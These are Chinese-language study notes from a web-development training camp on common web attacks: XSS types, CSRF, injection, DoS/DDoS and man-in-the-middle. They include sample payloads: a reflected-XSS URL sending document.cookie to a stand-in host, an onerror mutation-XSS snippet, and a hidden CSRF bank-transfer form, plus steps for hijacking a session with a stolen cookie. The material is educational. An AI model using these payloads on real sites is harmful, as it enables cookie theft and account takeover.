这是我参与「第四届青训营」笔记创作活动的的第6天。
Web攻击
XSS(Cross-Site Scripting)跨域脚本攻击
- 为什么会造成XSS攻击?
- 开发者盲目信任用户提交的内容。
- 若用户提交的信息里带有恶意脚本,则将用户内容转换成DOM在页面上显示时会执行恶意脚本内容,造成XSS攻击。
- demo:当用户提交的内容中带有XSS攻击,则会渲染到浏览器页面上。
public async render(ctx){ const {content} = await db.query({ id:ctx.query.id }) //请求用户提交的内容 //content = <script>alert(XSS)</script> ctx.body = `<div>${content}</div>` } - 特点:
- 难以从UI上感知。
- 窃取用户信息,如cookie或token。
- 可以绘制UI渲染到页面上骗取用户提交表单。
- 不同类型的XSS攻击:
- Stored XSS:
- 恶意脚本存储在数据库中。当用户访问页面时,恶意脚本渲染在页面上直接攻击用户。危害是最大的,对全部用户都可见。
- Reflected XSS:
- 构造诸如以下虚假URL诱使受害用户点击(比如网站上的小广告):
http://xxx/xx?abc=<script src=“http://127.0.0.1/xss/UYxzH8?1608472710/” + document.cookie;> < /script>- 在用户点击之后只需通过查看日志即可获得受害用户的cookie。
- 在获得cookie之后就可以利用抓包工具修改请求包中的cookie,将其替换为受害用户的cookie即可登录受害用户的账号。
- 而诱使用户点击虚假URL的方式有很多,如钓鱼邮件、特殊的图片或文本等等。
- 更多参考资料:Web渗透测试之XSS攻击:反射型XSS
- Dom-based XSS:
- 特点1:不需要服务器参与。
- 特点2:恶意攻击发起与执行都在浏览器中完成。
- DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面,而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。
- Mutation-based XSS:
- 利用浏览器DOM特性。
- 不同浏览器会有区别。
- 刘宇晨老师上课时的demo:神奇的title
<noscript><p title = '</noscript><img src = '' onerror = alert(1)>'>- 这下看出有啥不同了吧。
<div> <noscript><p title = "</noscript> <img src = '' onerror = 'alert(1)'> "">" </div>
CSRF(Cross-Site Request Forgery)跨站伪造请求攻击
- CSRF:在用户不知情的前提下,利用用户权限(cookie),构造指定HTTP请求,窃取或修改用户敏感信息。
- 刘宇晨老师上课时的demo:
- 用户收到某个恶意链接,用户点击恶意链接后,该链接获取到了用户的cookie;
- 恶意链接向银行发送HTTP转账请求,银行可以读取到用户的cookie,故执行转账返回结果给恶意链接。
- 用户全过程没有访问银行页面!!!
- Get请求和Post请求都可以,如下例子输入框被隐藏了。
<form action = "https://bank.." method = 'POST'> <!-- 封装成表单的样子 --> <input name = 'amount' value = "1000000" type = 'hidden'></input> <input name = 'to' value = 'hidden'></input> </form>
Injecttion注入攻击
- demo:
- 攻击者向服务器发送的请求中带有恶意注入的SQL参数;
- 在服务端获取SQL参数后将运行SQL代码,从而获取/修改/删除其他数据。
- 不局限于SQL,也可以是其他类似的命令行在服务端的操作。
Denial of Service(DoS)
- 构造某种特定请求,导致服务器资源被显著消耗,来不及响应更多请求,导致请求被挤压,产生雪崩效应。
- 其目的是使计算机或网络无法提供正常的服务。
Distributed DoS(DDoS)
- 短时间内,有大量僵尸设备的请求流量,服务器不能及时完成全部请求,导致请求堆积,达成雪崩。
- 攻击特点:直接访问IP、任意API、消耗大量带宽。
传输层中间人攻击
- 在浏览器和服务器间插一个中间人,但浏览器和服务器都以为在和各自交互。
- 中间人可以窃取信息并返回结果。
- 中间人可以是:恶意浏览器,路由器,服务提供供应商。
- 中间人为什么能发起攻击?
- 所有传输为明文传输,大家都可以看得见;
- 信息被篡改时服务器和浏览器都不知道;
- 服务器和浏览器并没有对对方身份进行验证。